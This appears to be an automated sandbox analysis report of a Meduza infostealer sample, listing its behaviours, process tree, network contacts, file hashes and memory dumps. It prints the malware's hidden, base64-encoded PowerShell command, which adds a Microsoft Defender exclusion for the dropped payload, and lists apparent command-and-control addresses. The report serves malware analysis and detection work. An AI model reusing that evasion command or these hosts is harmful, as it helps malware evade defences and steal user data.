Analysis Overview
SHA256
306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712
Threat Level: Known bad
The file 306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe was found to be: Known bad.
Malicious Activity Summary
Meduza Stealer payload
Meduza
Meduza family
Command and Scripting Interpreter: PowerShell
Downloads MZ/PE file
Reads user/profile data of web browsers
Checks computer location settings
Loads dropped DLL
Executes dropped EXE
Accesses Microsoft Outlook profiles
Looks up external IP address via web service
Checks installed software on the system
Enumerates physical storage devices
Unsigned PE
Browser Information Discovery
System Location Discovery: System Language Discovery
Suspicious use of WriteProcessMemory
outlook_win_path
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
outlook_office_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-15 09:19
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-15 09:19
Reported
2024-11-15 09:21
Platform
win7-20240903-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\dZZGcGzzXe\H2oiOUN5aI.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\dZZGcGzzXe\H2oiOUN5aI.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe | N/A |
| N/A | N/A | C:\Windows\system32\WerFault.exe | N/A |
| N/A | N/A | C:\Windows\system32\WerFault.exe | N/A |
| N/A | N/A | C:\Windows\system32\WerFault.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\dZZGcGzzXe\H2oiOUN5aI.exe | N/A |
| Token: SeImpersonatePrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\dZZGcGzzXe\H2oiOUN5aI.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe
"C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABkAFoAWgBHAGMARwB6AHoAWABlAFwASAAyAG8AaQBPAFUATgA1AGEASQAuAGUAeABlACcA
C:\Users\Admin\AppData\Local\Temp\dZZGcGzzXe\H2oiOUN5aI.exe
"C:\Users\Admin\AppData\Local\Temp\dZZGcGzzXe\H2oiOUN5aI.exe"
C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2208 -s 652
Network
| Country | Destination | Domain | Proto |
| US | 150.241.95.163:80 | 150.241.95.163 | tcp |
| BE | 45.130.145.152:15666 | tcp | |
| US | 8.8.8.8:53 | api.ipify.org | udp |
Files
memory/3068-0-0x0000000074B6E000-0x0000000074B6F000-memory.dmp
memory/3068-1-0x0000000000D10000-0x000000000533C000-memory.dmp
memory/3068-2-0x0000000074B60000-0x000000007524E000-memory.dmp
memory/3068-3-0x0000000074B6E000-0x0000000074B6F000-memory.dmp
memory/3068-4-0x0000000074B60000-0x000000007524E000-memory.dmp
memory/3068-5-0x0000000074B60000-0x000000007524E000-memory.dmp
memory/2648-9-0x000000006F991000-0x000000006F992000-memory.dmp
memory/2648-10-0x000000006F990000-0x000000006FF3B000-memory.dmp
memory/2648-13-0x000000006F990000-0x000000006FF3B000-memory.dmp
memory/2648-12-0x000000006F990000-0x000000006FF3B000-memory.dmp
memory/2648-11-0x000000006F990000-0x000000006FF3B000-memory.dmp
memory/2648-14-0x000000006F990000-0x000000006FF3B000-memory.dmp
memory/3068-15-0x0000000074B60000-0x000000007524E000-memory.dmp
\Users\Admin\AppData\Local\Temp\dZZGcGzzXe\H2oiOUN5aI.exe
| MD5 | 183e24b654414d7be786ccd8e6a108a5 |
| SHA1 | a18e6d0f9d1e67f404985adfa2cc6d756e8680ac |
| SHA256 | 69f8cea7a5b6e5de711e9849f4bc0244f1344966364520bc12987f1b90013754 |
| SHA512 | 8cb2d66a7ffe9e84b9bace8bbd859f050fbf7dc0cb9c4a262bf3467a39d3db43272d40a071fd2867e84a4cd262baa6e5347a46556dcae1a1bffa0497a147850b |
memory/3068-23-0x0000000074B60000-0x000000007524E000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-15 09:19
Reported
2024-11-15 09:21
Platform
win10v2004-20241007-en
Max time kernel
91s
Max time network
142s
Command Line
Signatures
Meduza
Meduza Stealer payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Meduza family
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
Checks installed software on the system
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
Browser Information Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
| Token: SeImpersonatePrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe
"C:\Users\Admin\AppData\Local\Temp\306c35f0a8b13eb8d3ff43f0fe031c9b2d008fddebe501e47e080111ebbb9712.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABuAEEAVgBOAG4AMgBNAFMAcgBTAFwAZABnAHoAZgA5AEsAMwAyAEIAOQAuAGUAeABlACcA
C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe
"C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 150.241.95.163:80 | 150.241.95.163 | tcp |
| US | 8.8.8.8:53 | 163.95.241.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.12.20.2.in-addr.arpa | udp |
| BE | 45.130.145.152:15666 | tcp | |
| US | 8.8.8.8:53 | 152.145.130.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ipify.org | udp |
| US | 104.26.13.205:443 | api.ipify.org | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 216.58.201.99:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | 99.201.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.13.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
Files
memory/1392-0-0x00000000748CE000-0x00000000748CF000-memory.dmp
memory/1392-1-0x0000000000BF0000-0x000000000521C000-memory.dmp
memory/1392-2-0x000000000A1C0000-0x000000000A764000-memory.dmp
memory/1392-3-0x0000000009B10000-0x0000000009BA2000-memory.dmp
memory/1392-4-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/1392-5-0x0000000009AE0000-0x0000000009AEA000-memory.dmp
memory/1392-6-0x00000000748CE000-0x00000000748CF000-memory.dmp
memory/1392-7-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/1392-8-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/232-10-0x0000000002730000-0x0000000002766000-memory.dmp
memory/232-11-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/232-12-0x0000000004E10000-0x0000000005438000-memory.dmp
memory/232-13-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/232-14-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/232-15-0x0000000005440000-0x0000000005462000-memory.dmp
memory/232-16-0x00000000055E0000-0x0000000005646000-memory.dmp
memory/232-17-0x0000000005650000-0x00000000056B6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rfdujhfv.dxj.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/232-23-0x00000000056D0000-0x0000000005A24000-memory.dmp
memory/232-28-0x0000000005CD0000-0x0000000005CEE000-memory.dmp
memory/232-29-0x0000000005D70000-0x0000000005DBC000-memory.dmp
memory/232-31-0x000000006F4E0000-0x000000006F52C000-memory.dmp
memory/232-30-0x0000000006280000-0x00000000062B2000-memory.dmp
memory/232-41-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/232-43-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/232-42-0x00000000062D0000-0x00000000062EE000-memory.dmp
memory/232-44-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/232-45-0x0000000006CD0000-0x0000000006D73000-memory.dmp
memory/232-46-0x0000000007650000-0x0000000007CCA000-memory.dmp
memory/232-47-0x0000000007010000-0x000000000702A000-memory.dmp
memory/232-48-0x00000000070D0000-0x00000000070DA000-memory.dmp
memory/232-49-0x00000000072E0000-0x0000000007376000-memory.dmp
memory/232-50-0x0000000007240000-0x0000000007251000-memory.dmp
memory/232-51-0x0000000007270000-0x000000000727E000-memory.dmp
memory/232-52-0x0000000007280000-0x0000000007294000-memory.dmp
memory/232-53-0x0000000007380000-0x000000000739A000-memory.dmp
memory/232-54-0x00000000072C0000-0x00000000072C8000-memory.dmp
memory/232-57-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/1392-58-0x00000000748C0000-0x0000000075070000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\nAVNn2MSrS\dgzf9K32B9.exe
| MD5 | 183e24b654414d7be786ccd8e6a108a5 |
| SHA1 | a18e6d0f9d1e67f404985adfa2cc6d756e8680ac |
| SHA256 | 69f8cea7a5b6e5de711e9849f4bc0244f1344966364520bc12987f1b90013754 |
| SHA512 | 8cb2d66a7ffe9e84b9bace8bbd859f050fbf7dc0cb9c4a262bf3467a39d3db43272d40a071fd2867e84a4cd262baa6e5347a46556dcae1a1bffa0497a147850b |
memory/1212-66-0x00007FFE2A9B0000-0x00007FFE2ABA5000-memory.dmp
memory/1212-67-0x0000016D111E0000-0x0000016D1131E000-memory.dmp
memory/1392-75-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/1212-76-0x0000016D111E0000-0x0000016D1131E000-memory.dmp
memory/1212-77-0x0000016D111E0000-0x0000016D1131E000-memory.dmp